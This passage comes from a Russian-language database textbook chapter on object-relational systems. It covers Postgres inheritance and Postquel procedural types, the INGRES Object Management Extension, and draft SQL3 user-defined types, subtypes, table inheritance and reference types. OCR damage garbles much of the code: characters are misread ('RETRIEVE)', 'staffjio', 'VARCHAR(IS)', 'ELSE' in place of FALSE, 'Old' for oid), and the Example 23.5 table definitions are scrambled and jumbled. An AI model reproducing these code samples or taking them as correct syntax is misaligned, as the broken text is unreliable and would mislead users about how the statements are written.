Отношение наследует все атрибуты от своих родителей, если только в его определении не выполнено переопределение какого-нибудь атрибута. Поддерживается множественное наследование, но если один и тот же атрибут наследуется от нескольких родителей и типы их атрибутов отличаются, то такое объявление не принимается. Также наследуются спецификации ключей. Например, для создания сущности Staff, которая наследует атрибуты сущности Person, можно использовать следующее выражение:
CREATE person (fname=char[15], lname=char[15], address=char[50], tel_no=char[13], sex=char, date_of_birth=date) KEY(lname, date_of_birth)
CREATE staff(sno=char[5], position=char[10], salary=float4, nin=char(9], bno=char[ 3 ], manager=postquel)
INHERITS(person)
Отношение Staff включает явно объявленные атрибуты и атрибуты, объявленные для отношения Person. В качестве ключа используется (унаследованный) ключ отношения Person. Атрибут Manager определяется как тип postquel, обозначающий, что это запрос на языке Postquel. Добавление кортежа в отношение выполняется с помощью команды APPEND, как показано ниже для отношения Staff.
APPEND staff(sno="SG37", position="Snr Asst", salary=12000,
nin="WL432514C”, bno="B3", manager="RETRIEVE(s.sno) FROM s IN staff WHERE position=’,Manager1’ AND bno="B3IHI)
Запрос, на который ссылается атрибут Manager, возвращает строку, содержащую команду на языке Postquel, которая в общем случае может быть отношением, а не только единственным значением. В СУБД Postgres предусмотрены два способа доступа к атрибуту Manager. В первом используется вложенное обозначение на основе точки для неявного исполнения запроса:
RETRIEVE)s.sno, s.lname, s.manager.sno) FROM s IN staff
В результате выполнения этого запроса будет получен список всех сотрудников с указанием их личных номеров, имени и личного номера менеджера данного сотрудника. Результат исполнения запроса, указанного с помощью атрибута Manager, неявно соединяется с кортежем, указанным в остальной части списка извлекаемых результатов. В другом способе выполнения запроса используется команда EXECUTE, например, так, как показано ниже.
EXECUTE(s.sno, s.lname, s.manager.sno) FROM s IN staff
Параметрические процедурные типы могут использоваться там, где параметры запроса могут быть взяты из других атрибутов кортежа. Знак $ используется для ссылки на кортеж, в котором хранится запрос. Например, приведенный выше запрос можно переопределить следующим образом, используя параметрический процедурный тип:
DEFINE TYPE manager IS
RETRIEVE(staff_no=s.sno) FROM s IN staff
WHERE position=HManagerH AND bno=$.bno
А затем этот новый тип можно использовать для создания таблицы.
CREATE staff(sno=char[5]t position=char[10], salary=float4, nin=char[9], bno=char[3], manager=Manager)
INHERITS(person)
В этом случае запрос на извлечение сведений о сотрудниках будет выглядеть следующим образом:
RETRIEVE(s.sno, s.lname, s.manager.staffjio) FROM s IN staff
Механизм абстрактных типов данных в СУБД Postgres ограничен по сравнению с ООСУБД. В системе Postgres объекты состоят из абстрактных типов данных, тогда как в ООСУБД все объекты рассматриваются как абстрактные типы данных. Это не совсем соответствует концепции инкапсуляции. Боле того, не существует никакого механизма наследования, связанного с абстрактными типами данных, — возможно наследование только таблиц.
Идентичность объектов
Каждое отношение имеет явно определенный атрибут Old, который содержит уникальный идентификатор кортежа, где каждое Oid-значение создается и поддерживается СУБД Postgres. Атрибут Old доступен для пользовательских запросов, но они не могут его обновить. Помимо всего прочего, атрибут Old может использоваться в качестве механизма, имитирующего типы атрибутов, ссылающихся на кортежи из других отношений. Например, приведенным ниже способом можно определить тип, ссылающийся на кортеж отношения Staff.
DEFINE TYPE staff(int4) IS
RETRIEVE#staff.all) WHERE staff.oid=$l
Имя отношения может использоваться в качестве имени типа, так как отношения, типы и процедуры имеют отдельные пространства имен. Фактическое значение аргумента передается тогда, когда атрибуту типа Staff присваивается некоторое значение. Теперь можно создать отношение, в котором используется этот ссылочный тип.
CREATE property_for_rent(pno=char[5], street=char[25], area=char[15], city=char[15], pcode=char[8], type=char[l], rooms=int2, rent=float4, ono=char[5], bno=char[5], sno=Staff)
KEY(pno)
Атрибут Sno представляет сотрудника, который отвечает за сдачу данного объекта недвижимости в аренду. Добавление в базу данных сведений о новом объекте недвижимости может быть выполнено с помощью следующего запроса:
APPEND property_for_rent(pno="PA14", street="16 Holhead”, area=’'Dee", city=,,Aberden", pcode=HAB7 5SUH, type="H", rooms=6, rent=650, ono="C046", bno="B7H, sno=staff(s.oid))
FROM s IN staff
WHERE S.sno="SA9H
3.3.2. Расширение Object Management Extension в СУБД INGRES
Расширение Object Management Extension является необязательным компонентом СУБД INGRES, в котором допускается создание абстрактных типов данных и новых SQL-функций. Определенный пользователем тип данных (или пользовательский тип данных) может использоваться точно так же, как и любой другой системный тип данных. Новые SQL-функции могут использоваться в запросах и применяться по отношению к пользовательским и системным типам данных.
Определение абстрактного типа данных состоит из имени, внутреннего идентификатора типа данных, а также набора процедур, которые необходимы СУБД INGRES для работы с этим типом данных. Для каждого вновь создаваемого абстрактного типа данных должны быть определены процедуры, перечисленные в табл. 23.3.
Таблица 23.3. Процедуры, необходимые для каждого нового абстрактного типа данных
compare
Сравнивает два элемента этого типа данных
length_check
Проверяет корректность заданной длины для типа данных и возвращает ее значение
keybuild
Создает ключи методов доступа ISAM, BTREE или HASH на основе указанного значения
getempty
Конструирует пустое значение для типа данных
value_check
Проверяет значение этого типа данных на корректность
hashprep
Готовит значение для этого типа данных, которое будет использовано в качестве ключа перемешивания
helem
Создает элемент гистограммы для значения данных (с целью оптимизации запроса)
hmin
Создает значение гистограммы для минимального значения (с целью оптимизации запроса)
dhmin
Создает минимальную принимаемую по умолчанию гистограмму (с целью оптимизации запроса)
hmax
Создает значение гистограммы для максимального значения (с целью оптимизации запроса)
dhmax
Создает максимальную принимаемую по умолчанию гистограмму (с целью оптимизации запроса)
hg_dtln
Возвращает тип данных и длину значения гистограммы для этого типа данных (с целью оптимизации запроса)
minmaxdv
Возвращает минимальные/максимальные значения/длины для типа данных
dbtoev
Определяет внешний тип данных, к которому этот тип данных будет преобразовываться
tmlen
Определяет длину типа данных в текстовом представлении
tmcvt
Преобразует тип данных в отображаемый формат
В определении функции приводятся имена функции, которые используются для вызова операторов. Они состоят из имени и идентификатора функции. Определение экземпляра функции содержит определение способа использования функции или оператора в определенном контексте (например, оператор + может использоваться по- разному для разных типов данных). При определении нового абстрактного типа данных для каждой функции или оператора, которые нужны для нового абстрактного типа данных, также должен быть определен экземпляр этой функции. Определение экземпляра функции включает следующие компоненты:
идентификатор экземпляра функции;
дополнительный идентификатор экземпляра функции (если эта функция является функцией сравнения, например <);
идентификатор функции, для которой эта функция является экземпляром;
тип оператора;
количество и типы любых аргументов;
тип данных результата;
длина результата;
адрес процедуры, которая реализует данный экземпляр.
Функции должны создаваться на языке, который удовлетворяет соглашениям о вызовах и операциях языка С. Функции компилируются и компонуются в виде исполняемого образа СУБД INGRES, образуя часть базовой системы. При этом предполагается, что ошибка в пользовательской функции может привести к некоторой неопределенной ошибке, которая может вызвать сбой СУБД и/или повредить целостность базы данных. Механизмы ограничения последствий ошибки в определенной пользователем функции рассматриваются в разделе 23.5.
Стандарт SQL3
В главах 13 и 14 приводится расширенное описание стандарта ISO для языка SQL выпуска 1992 года, который обычно называется стандартом SQL2, или SQL-92. Стандартизация SQL со стороны ANSI (ХЗН2) и ISO (ISO/IEC JTC1/SC21/WG3) привела к появлению спецификации SQL (которая часто называется SQL3), включающей дополнительные компоненты, необходимые для поддержки объектно-ориентированного управления данными (ISO, 1998, а). В этом разделе рассматриваются некоторые перечисленные ниже компоненты этой спецификации.
Типы-конструкторы для строковых и ссылочных типов.
Определенные пользователем типы (отдельные типы и структурированные типы), которые могут участвовать в связях супертип/подтип.
Определенные пользователем процедуры, функции и операторы.
Типы-конструкторы для типов коллекций (массивы, множества, списки и мультимножества).
Поддержка больших объектов — бинарных больших объектов (BLOB- объектов) и символьных больших объектов (CLOB-объектов).
Многие объектно-ориентированные концепции, которые рассматривались в разделе 21.3, входят в состав этого документа. Выпуск следующего стандарта SQL существенно отстает от графика и некоторые из его предложенных компонентов отложены до выпуска следующей версии этого стандарта, т.е. SQL4. Предполагалось, что о выпуске SQL3 будет официально объявлено в конце 1999 года. Во время написания этой книги SQL3 все еще оставался черновым вариантом стандарта, а потому некоторые подробности в этом разделе могут измениться еще до выпуска стандарта в его окончательном виде.
Тип-строка
Тип-строка (row type) — это последовательность пар “имя поля”/“тип данных”, образующая тип данных, который может представлять типы строк в таблицах, таким образом, чтобы строки целиком могли сохраняться в виде переменных, передаваться как аргументы подпрограмм и возвращаться в виде возвращаемых значений при вызовах функций. Тип-строка также может использоваться для того, чтобы в столбце таблицы можно было сохранять значения-строки.
; Пример 23.1. Использование типа-строки
' Для иллюстрации использования типов-строк создадим упрощенную версию таб- : лицы Branch, состоящую из номера отделения компании и его адреса, а затем вста- ' вим в эту новую таблицу запись данных.
CREATE TABLE branch(
bno VARCHAR(3)
. address R0W( street VARCHAR(25),
area VARCHAR(IS),
city VARCHAR(IS),
pcode R0W( city_identifier VARCHAR(4),
subpartVARCHAR(4))));
INSERT INTO BRANCH
VALUES('B5',('22 Deer Rd', 'Sidcup', 'London', ('SW1', '4EH')));
Типы, определенные пользователем
В SQL3 допускается определение пользовательских типов данных, или UDT-типов (User-Defined Types), которые раньше назывались абстрактными типами данных, или ADT-типами (Abstract Data Types). Эти типы могут использоваться так же, как и встроенные типы (например, CHAR, INT, FLOAT). UDT-типы делятся на две категории: отдельные типы и структурированные типы. Простейшим UDT-типом в SQL3 является отдельный тип (distinct type), позволяющий дифференцировать одни и те же базовые типы. Например, можно было бы создать два следующих отдельных типа:
CREATE TYPE owner_number_type AS VARCHAR(5) FINAL-,
CREATE TYPE staffjiumber_type AS VARCHAR(5) FINAL;
Если теперь попытаться обработать экземпляр одного типа как экземпляр другого типа, то в этом случае возникнет исключительная ситуация. Следует отметить, что хотя SQL для установления различия между разными типами данных также позволяет создавать домены, все же назначение домена SQL заключается только в определении множества корректных значений, которые могут быть сохранены в атрибуте с таким доменом.
В более общем случае определение UDT-типа состоит из одного или нескольких определений атрибутов. Кроме того, дополнительно предлагается, чтобы определение UDT-типа включало также объявления подпрограмм и объявления операторов (в SQL4). Если это предложение не будет одобрено, то данные объявления будут входить в состав схемы. В дальнейшем предполагается, что определение UDT-типа может содержать объявления подпрограмм. Кроме того, подпрограммы и операторы будут называться одним именем — подпрограммами. Помимо этого, внутри определения UDT-типа также могут быть определены связи эквивалентности и упорядочения для этого UDT-типа.
Инкапсуляция используется таким образом, что только определение атрибутов и подпрограмм, а не их реализация, доступны за пределами определения типа. До сих пор в командах разработчиков стандарта SQL3 ведутся споры о том, стоит ли защищать атрибуты или процедуры с помощью меток public, private или protected, как в языке C++, но со следующими интерпретациями.
Только открытые (public) компоненты видимы для санкционированных пользователей данного UDT-типа.
Закрытые (private) компоненты видимы только внутри определения UDT- типа, в котором они содержатся.
Защищенные (protected) компоненты инкапсулированы частично и видимы как внутри их собственного UDT-типа, так и внутри определений всех подтипов этого UDT-типа.
Если метка отсутствует, то применяется последняя использованная метка. По умолчанию в качестве первой метки используется public.
Доступ к значению атрибута обозначается с помощью модифицированной точечной нотации (»)? Например, предположим, что р является экземпляром UDT-типа Perscn_Type с атрибутом FName типа VARCHAR, тогда доступ к атрибуту FName можно организовать таким образом:
p»fname
p»fname = 'A.Smith'
Для каждого атрибута автоматически определяются наблюдатель (observer), т.е. метод get, и мутатор (mutator), т.е. метод set. Функция-наблюдатель возвращает текущее значение атрибута, а функция-мутатор задает для атрибута значение, указанное в качестве параметра. Эти функции могут быть переопределены пользователем в определении UDT-типа. Например, функция-наблюдатель атрибута FName типа Рег- son_Type будет выглядеть так, как показано ниже:
FUNCTION fname(р person_type) RETURNS VARCHAR
RETURN p» fname;
Соответствующая функция-мутатор, задающая новое значение new_value, будет иметь такой вид:
FUNCTION fname(р person_type, new_value VARCHAR) RETURNS
person_type
BEGIN
p»fname = new_value;
RETURN p;
END
Кроме того, автоматически определяется (открытая) функция-конструктор, предназначенная для создания новых экземпляров этого типа. Функция-конструктор имеет то же имя и тип, что и UDT-тип, принимает нулевые аргументы и возвращает новый экземпляр типа с атрибутами, для которых установлены их значения по умолчанию. При этом конструктор также может переопределяться пользователем в определении UDT-типа.
Функции EQUALS ONLY BY и ORDER FULL BY могут быть определены для задания специфических для типов функций, предназначенных для сравнения UDT-экземпляров. А функции RELATIVE и HASH могут быть определены для управления упорядочением UDT-экземпляров. Также можно определить функцию CAST для выполнения преобразований между разными UDT-типами. В стандарте SQL4 также предусматривается возможность переопределения некоторых встроенных операторов.
Пример23.2. Определение нового UDT-muna
Для иллюстрации определения нового UDT-типа создадим UDT-тип Person_Type.
CREATE TYPE person type AS (
PRIVATE
date of birth DATE CHECK (date of birth>DATE '1900-01-01'),
PUBLIC
fname VARCHAR(15) NOT NULL,
Iname VARCHAR(15) NOT NULL,
address VARCHAR(50) NOT NULL,
tel no VARCHAR(13) NOT NULL,
sex CHAR,
FUNCTION get age(P person type) RETURNS INTEGER
RETURN /* Код вычисления возраста на основе даты рождения */ END,
Похоже, что символ ’»’ будет заменен, вероятнее всего, более распространенным обозначением ’.’, причем еще до завершения работы над стандартом SQL3.
, FUNCTION set age(P person type RESULT; DOB:DATE)
RETURNS person type
,RETURN /* Код указания даты рождения */
END)
NOT FINAL?
В этом примере также иллюстрируется использование хранимых и виртуальных атрибутов. Хранимым атрибутом (stored attribute) называется используемый по умолчанию тип с именем атрибута и типом данных. Причем тип данных может быть любым известным типом данных, включая другие UDT-типы. И наоборот, виртуальный атрибут (virtual attribute) относится не к хранимым, а к логически выведенным данным. В данном примере атрибут Аде является виртуальным: его значение выводится на основании функции Get_Age, а получает он значение с помощью функции Set_Age. С точки зрения пользователя между хранимым и виртуальным атрибутами нет никакой разницы, так как доступ к ним всегда выполняется с помощью функции-наблюдателя и функции-мутатора. Разница между ними известна только разработчику UDT-типа. В данном примере явно не указана функция упорядочения, а потому используется принимаемая по умолчанию функция (ORDER FULL BY STATE), которая выполняет проверку равенства значений в двух экземплярах.
Определенные пользователем подпрограммы
Определенные пользователем подпрограммы, или UDR-подпрограммы (user- defined routines), задают методы управления данными и являются важным дополнением к UDT-типам. В ОРСУБД следует предусмотреть возможность внесения гибких изменений в этой области, позволяя UDR-подпрограммам возвращать сложные значения, с которыми впоследствии можно было бы продолжить работу (например, такие, как таблицы). Кроме того, в ней должна быть предусмотрена поддержка пере-* грузки имен функций для упрощения разработки приложений.
В стандарте SQL3 UDR-подпрограммы могут определяться как часть UDT-типа или отдельно, как часть схемы. Вызываемой средствами SQL подпрограммой может быть любая процедура, функция или итеративная подпрограмма. Она может быть создана вне СУБД на стандартном языке программирования, например C/C++, или полностью написана на языке SQL с использованием расширений, позволяющих добиться вычислительной полноты данного языка (раздел 23.4.10).
Вызываемая средствами SQL процедура вызывается по команде CALL языка SQL. Она может совсем не иметь параметров или иметь несколько параметров, включая входной (IN), выходной (OUT) и одновременно входной и выходной параметры (INOUT). Кроме того, она содержит тело, полностью определенное на языке SQL. Вызываемая средствами SQL функция возвращает некоторое значение, причем любые указанные параметры должны быть входными параметрами с одним единственным выходным параметром. В предыдущем примере параметр Р функции Set-Age используется как выходной параметр. Итеративная подпрограмма (iterative routine) используется для вычисления обобщенного значения для заданного типа данных MULTISET (раздел 23.4.9). Для ее использования следует предусмотреть три вызываемые средствами SQL подпрограммы.
Процедура инициализации с одним выходным параметром (например, ODT-типа).
Итеративная процедура с типом данных MULTISET в качестве входного параметра, а также входным/выходным аргументом ODT-типа.
Функция завершения с входным аргументом ODT-типа, возвращающая итоговое значение обобщающей функции.
Обычно процедура инициализации инициализирует внутреннее значение результата обобщающей функции, а итеративная процедура обновляет это значение для каждой строки, которая удовлетворяет некоторому набору критериев. Наконец,
функция завершения вычисляет итоговый результат обобщающей функции на основе последнего полученного внутреннего значения и очищает его. Например, итеративная подпрограмма может использоваться для вычисления среднего значения для трех самых высоких значений арендной платы. В этом случае процедура инициализации выделит место в памяти для хранения трех самых высоких значений, а итеративная процедура сравнит их со значением в каждой строке с последующим обновлением трех самых высоких значений в случае такой необходимости. Затем функция завершения вычислит среднее значение для трех самых высоких значений арендной платы, освободит выделенное место в памяти и возвратит среднее значение.
Внешняя подпрограмма определяется с помощью указания внешнего предложения, идентифицирующего соответствующий “компилированный код” в файловой структуре операционной системы. Например, может возникнуть необходимость использования функции, которая создает уменьшенное свернутое изображение (thumbnail) для объекта, хранимого в базе данных. Эти действия нельзя выполнить посредством языка SQL, а потому необходимо воспользоваться внешней функцией с помощью команды CREATE FUNCTION с использованием предложения EXTERNAL, например, так, как показано ниже.
CREATE FUNCTION thumbnail(IN my_image IMAGE_TYPE) RETURNS BOOLEAN NO SQL
EXTERNAL NAME Vmyroutines/thumbnail.o'
Эта SQL-команда связывает SQL-функцию thumbnail с внешним объектным файлом thumbnail.о, о создании которого должен позаботиться пользователь. Затем ОРСУБД предоставит метод для динамической компоновки этого объектного файла с СУБД, чтобы он мог вызываться в случае необходимости. Описание необходимых для этого действий выходит за рамки стандарта SQL и зависит от особенностей реализации конкретной СУБД. Предложение NO SQL означает, что эта функция не содержит SQL-команд. Вместо него могут использоваться предложения READS SQL DATA, MODIFIES SQL DATA и CONTAINS SQL.
Полиморфизм
Разные подпрограммы могут иметь одно и то же имя, т.е. имена подпрограмм могут перегружаться, например с целью переопределения в UDT-подтипе метода, унаследованного от супертипа. В отношении перегрузки установлены следующие ограничения.
Никакие две функции в одной и той же схеме не могут иметь одинаковые сигнатуры, т.е. одинаковое количество аргументов, одинаковые типы данных для каждого аргумента, а также одинаковые типы для возвращаемого значения.
Никакие две процедуры в одной и той же схеме не могут иметь одинаковые имя и количество параметров.
В текущем черновом варианте стандарта SQL3 используется обобщенная объектная модель, так что для выбора вызываемой подпрограммы типы всех ее аргументов учитываются в порядке слева направо. Если не удается найти точное соответствие между типом данных аргумента и типом данных указанного параметра, то в таком случае для определения наиболее близкого соответствия используются правила приоритета. Точные правила определения подпрограммы для заданного вызова относительно сложны, поэтому мы не будем их здесь приводить. Следует отметить, что в настоящее время комитетами по работе над черновыми вариантами стандарта SQL3 рассматривается предложение о замене обобщенной объектной модели “эгоистичными методами” (selfish methods), в которых для определения нужной во время выполнения реализации перегружаемой функции рассматривается тип только первого аргумента. Более подробное описание этих вопросов заинтересованный читатель сможет найти в разделе 9.5 переработанного стандарта (ISO, 1998, а).
Подтипы и супертипы
В стандарте SQL3 допускается участие UDT-типов в иерархии подтип/супертип с помощью предложения UNDER. Тип может иметь несколько супертипов (т.е. поддерживается множественное наследование), а также несколько подтипов. Подтип наследует все атрибуты и поведение его супертипов, в нем могут определяться дополнительные атрибуты и функции (так же, как и в любом другом UDT-типе), а также выполняться переопределение унаследованных функций.
Пример 23.3. Создание подтипа с использованием предложения UNDER j
Для создания подтипа Staff_Туре супертипа Person-Type можно использовать такую команду:
CREATE TYPE staff type UNDER person type AS ( snoVARCHAR(5)NOTNULL UNIQUE,
positionVARCHAR(IO)NOTNULL,
salaryDECIMAL(7,2),
ninCHAR(9)NOTNULL,
bnoVARCHAR(3)NOTNULL,
CREATE FUNCTION is manager(s staff type) RETURNS BOOLEAN BEGIN•
IF s»position='Manager' THEN .RETURN TRUE;
ELSE RETURN ELSE; END IF END) NOT FINAL;
Подтип Staff-Type, помимо атрибутов, определенных с помощью команды CREATE TYPE, также содержит унаследованные атрибуты типа Person_Type со связанными с ним функциями-наблюдателями и функциями-мутаторами. В этом примере также определена функция Is Manager, которая проверяет, не является ли указанный сотрудник менеджером. Способ применения этой функции будет описан в разделе 23.4.7.
Экземпляр подтипа рассматривается как экземпляр всех его супертипов. В стандарте SQL3 поддерживается понятие подставляемости (substitutability), которое означает, что вместо экземпляра супертипа всегда может использоваться любой экземпляр его подтипа. Проверка принадлежности к какому-то UDT-типу выполняется с помощью предиката TYPE. Например, для некоторого UDT-типа Udt 1 его можно применить следующим образом:
TYPE Udtl IN ALL person_type //Проверяет наличие типа Udtl в // типе person-type или его подтипах TYPE Udtl IN ONLY person_type //Проверяет наличие типа Udtl в person_type TYPE Udtl IN ALL person_type, //Проверяет наличие типа Udtl в person_type EXCEPT staff_type// или его подтипах, за исключением staff_type//
В языке SQL3, как и в большинстве языков программирования, каждый экземпляр UDT-типа должен быть связан точно с одним наиболее специальным типом, который соответствует самому нижнему подтипу данного экземпляра. Таким образом, если UDT-тип имеет больше одного прямого супертипа, то в таком случае должен быть один тип, к которому относится данный экземпляр, причем этот один тип должен быть подтипом всех типов, к которым относится данный экземпляр. В некоторых случаях для этого может потребоваться создание большого количества типов. Например, иерархия типов может состоять из максимального супертипа Person с подтипами Student и Employee; подтип Student также может иметь три прямых подтипа: Undergraduate (студент), Postgraduate (аспирант)
и PartTimeStudent (заочник), как показано на рис, 23.2, а. Если экземпляр имеет тип Person и Student, то наиболее специальным типом в данном случае является тип Student, причем этот тип не является листовым типом в данной иерархической структуре, поскольку он является подтипом супертипа Person. Но в такой иерархической структуре экземпляр не может одновременно иметь тип PartTimeStudent и Employee, если только не определен специальный тип PTStudentEmployee, как показано на рис. 23.2, б. В этом случае новый листовой тип PTStudentEmployee является наиболее специальным типом этого экземпляра. Аналогично, некоторые студенты и аспиранты могут иметь работу с неполной занятостью (нечто противоположное по сравнению с заочниками, которые имеют работу с полной занятостью), а потому логично было бы ввести подтипы FTUGEmployee (студент, имеющий подработку) и FTPGEmployee (аспирант, имеющий подработку). Если еще больше обобщить этот подход, то можно создать достаточно большое количество подтипов. В некоторых случаях наилучшим подходом может быть использование механизма наследования на уровне таблиц, а не типов, как здесь кратко рассматривалось.
Поскольку использование механизма множественного наследования может потенциально привести к проблеме двусмысленности наследования компонентов супертипов, то для ее предотвращения в SQL3 предусмотрено несколько простых правил.
Если атрибут в нескольких супертипах наследуется от общего супертипа, занимающего более высокое положение в этой иерархии, то в таком случае наследуется только один атрибут общего супертипа^
Если атрибут с одинаковым именем из каждого супертипа не наследуется от общего супертипа, занимающего более высокое положение в этой иерархии, то определение супертипа будет недействительным до тех пор, пока унаследованные компоненты не будут переименованы для устранения конфликта имен.
(б)
Рис. 23.2. Иерархия типов Student/Employee: а) исходный вариант; б) модифицированный вариант
Привилегии
Для создания супертипа пользователь должен обладать привилегией UNDER для каждого пользовательского типа, отмеченного как супертип в определении подтипа.
Создание таблиц
Для поддержки совместимости снизу вверх со стандартом SQL2 в стандарте SQL3 для создания таблицы все еще необходимо использовать команду CREATE TABLE, даже если эта таблица состоит из одного UDT-типа. Иначе говоря, экземпляр UDT-типа может быть перманентным только в том случае, если он хранится как значение столбца в таблице. Существует несколько вариантов оператора CREATE TABLE, использование которых иллюстрируется в нескольких приведенных ниже примерах.
Пример 23.4. Создание таблицы на основе UDT-muna;
Для создания таблицы на основе UDT-типа Staff_Type можно использовать такую команду:
CREATE TABLE staff(.
info STAFF TYPE,
PRIMARY KEY sno);,
Можно применить и другой вариант записи этой команды:.
CREATE TABLE staff OF STAFF TYPE)-
PRIMARY KEY sno);
В первом случае доступ к столбцам таблицы Staff может осуществляться с помощью выражения пути, подобного 'staff.info.sno', а во втором — с помощью выражения 'staff.sno'.
В стандарте SQL3 не предусмотрен механизм сохранения всех экземпляров заданного UDT-типа, если только пользователь явно не создаст одну таблицу, в которой будут храниться все эти экземпляры. Таким образом, в стандарте SQL3, вероятно, невозможно будет создать SQL-запрос для выборки всех экземпляров некоторого UDT-типа. Например, если создать вторую таблицу с помощью приведенной ниже команды, то экземпляры типа Person_Type будут распределены среди двух таблиц Staff и Renter.
CREATE TABLE renter(
infoPERSONJTYPE,
pref_type CHAR,
max_rent DECIMAL(6,2),
bno VARCHAR(3) NOT NULL);
В данном случае эта проблема может быть устранена с помощью механизма наследования таблиц, позволяющего создать таблицу, наследующую все атрибуты одной или нескольких уже существующих таблиц, что осуществляется с помощью предложения UNDER. Иерархия подтаблица/супертаблица совершенно не зависит от иерархии наследования UDT-типов. Как и следовало ожидать, подтаблица наследует каждый столбец от его супертаблиц, причем в ней также могут определяться свои собственные дополнительные столбцы.
Пример 23.5. Создание подтаблицы с использованием пре^ю^нй^тюга^
Альтернативный способ создания приведенных выше таблицы основан на механизме наследования таблиц.
NOT NULL UNIQUE,CHECK(date of birth>DATE'1900-01-01')NOT NULL,NOT NULL UNIQUE,CHECK(date of birth>DATE'1900-01-01')NOT NULL,CREATE TABLE person AS ( person noVARCHAR(6)
NOT NULL UNIQUE,
CHECK(date of birth>DATE'1900-01-01')
NOT NULL,
NOT NULL UNIQUE,
CHECK(date of birth>DATE'1900-01-01')
NOT NULL,
data of birth DATE fnameVARCHAR(15)
InameVARCHAR(15) NOT
NULL,
addressVARCHAR(SO) NOT
NULL,
tel noVARCHAR(13)NOT
sexCHAR,
PRIMARY KEYperson no);
CREATE TABLE staff UNDER PERSON (
NULL,
snoVARCHAR(5) NOT
NULL UNIQUE,
positionVARCHAR(IO) NOT
salaryDECIMAL(7,2),
NULL,
ninCHAR(9)NOT
NULL,
bnoVARCHAR(3) NOT
PRIMARY KEY sno);
CREATE TABLE renter UNDER PERSON (
NULL,
rnoVARCHAR(5)NOT
pref typeCHAR,
max rentDECIMAL(6,2),
NULL,
bnoVARCHAR(3) NOT
PRIMARY KEY rno);
NULL,
В этом случае типы Staff и Renter содержат все атрибуты типа Person, причем в них дополнительно определяются их собственные атрибуты, а также переопре- ; деляется первичный ключ. При вставке кортежей в таблицы Staff и Renter значения из унаследованных столбцов вставляются в таблицу Person. В результате при доступе ко всем кортежам таблицы Person можно получить все сведения из > таблиц Staff и Renter.:
При работе с иерархией таблиц следует учитывать следующие ограничения.
Каждая строка супертаблицы Person может соответствовать не более чем одной строке в каждой из подтаблиц Staff и Renter.
Каждая строка из подтаблиц Staff и Renter должна иметь только одну соответствующую строку в таблице Person.
При этом поддерживается семантика включения: строка подтаблицы также “содержится” в ее супертаблицах. При этом предполагается, что при выполнении SQL-команд INSERT, UPDATE и DELETE поддерживается непротиворечивое состояние данных, если строки подтаблиц и супертаблиц модифицируются согласно приведенным ниже правилам.
При вставке в таблицу строки значения любых унаследованных столбцов таблицы каскадно вставляются в соответствующие супертаблицы снизу вверх в иерархии таблиц. Например, возвращаясь к рис. 23.2, б, если вставить строку в таблицу PTStudentEmployee, то значения унаследованных столбцов вставляются в таблицы Student и Employee, а затем значения унаследованных столбцов вставляются в таблицу Person.
При обновлении строки из подтаблицы аналогичная процедура выполняется для обновления значений из унаследованных столбцов в супертипах.
При обновлении строки из супертаблицы значения всех унаследованных столбцов во всех соответствующих строках ее непосредственных и косвенных подтаблиц также обновляются. Так как супертаблица также может быть подтаблицей, то для обеспечения непротиворечивости должно соблюдаться предыдущее условие.
При удалении строки из подтаблицы/супертаблицы удаляются соответствующие строки во всей иерархии таблиц. Например, если удаляется строка таблицы Student, то удаляются также соответствующие строки из таблиц Person, Undergraduate, Postgraduate, PartTimeStudent и PTStudentEmployee.
Привилегии
При создании новой таблицы, так же, как и при создании нового подтипа, пользователи должны обладать привилегией UNDER для каждой упомянутой супертаблицы.
Создание запросов
В стандарте SQL3 для создания запросов и обновления таблиц используется такой же синтаксис, что и в стандарте SQL2, но с некоторыми расширениями, необходимыми для управления объектами. В этом разделе мы проиллюстрируем некоторые подобные расширения.
Пример 23.6. Извлечение заданного столбца и заданных строк
Определить имена всех менеджеров.
SELECT s.lname
FROM staff s
WHERE s.position^Manager';
В этом запросе в предложении WHERE для доступа к столбцу Position используется вызов неявно определенной функции-обозревателя Position. Так как в стандарте SQL3 реализован механизм инкапсуляции, то нельзя получить непосредственный доступ к закрытым или защищенным атрибутам, например к атрибуту Date_of_Birth в типе Person_Type.
Пример 23.7. Вызов определенной пользователем функции
Выбрать имена всех менеджеров с указанием их возраста.
SELECT s.lname, s.get age
FROM staff s
WHERE s.is manager;
В этом альтернативном методе поиска менеджеров используется вызов определенной пользователем функции Is_Manager в качестве предиката предложения WHERE. Эта функция возвращает логическое значение TRUE, если сотрудник является менеджером (см. пример 23.3). Кроме того, этот запрос также вызывает унаследованную виртуальную функцию Get_Age в качестве элемента списка команды SELECT.
Пример 23.8. Использование ключевого слова ONLY для ограничения выборки
Определить имена и адреса всех людей старше 65 лет.
SELECT p.lname, р.address
FROM person p
WHERE p.get age>65;
В этом запросе будут использованы имена и адреса не только из тех записей, которые были явно вставлены в таблицу Person, но также из тех, которые были вставлены во время непосредственных или косвенных вставок из подтаблиц таблицы Person, например Staff, Owner и Renter.
Предположим, что нам нужны сведения не обо всех людях, а только об упомянутых в экземплярах таблицы Person, исключая все ее подтаблицы. Этого можно добиться, используя ключевое слово ONLY.
SELECT p.lname, р.address
FROM ONLY(person) p
WHERE p.get_age>65;
Ссылочные типы и идентичность объектов
Идентичность объекта представляет собой такой аспект каждого объекта, который никогда не изменяется и отличает данный объект от всех других объектов в системе. В идеале идентичность объекта не зависит от его имени, структуры и расположения. Идентичность объекта сохраняется даже после его удаления, а потому ее никогда нельзя будет спутать с идентичностью любого другого объекта. Идентичность объекта используется другими объектами как уникальный способ ссылки на него.
До появления стандарта SQL3 единственным способом определения связей между таблицами было использование механизма первичного/внешнего ключей, который, согласно стандарту SQL2, может быть выражен с помощью ограничительного предложения REFERENCES (см. раздел 14.3.1). В стандарте SQL3 для определения связей между типами-строками и для уникальной идентификации строки внутри всей базы данных могут использоваться ссылочные типы (reference types). Значение ссылочного типа может храниться в одной таблице и использоваться как непосредственная ссылка на заданную строку в другой таблице (аналогично понятию данных указательного типа в языке C/C++). В этом отношении ссылочный тип обеспечивает функциональность, аналогичную идентификаторам объектов (OID-идентификаторам) в объектноориентированных СУБД (см. раздел 21.3.3). Таким образом, ссылки позволяют совместно использовать строку среди нескольких таблиц, а также предоставляют пользователям средство замены в запросах сложных определений соединений более простыми выражениями пути. Ссылки также предоставляют оптимизатору альтернативный способ перемещения по данным вместо использования соединений на основе значений.
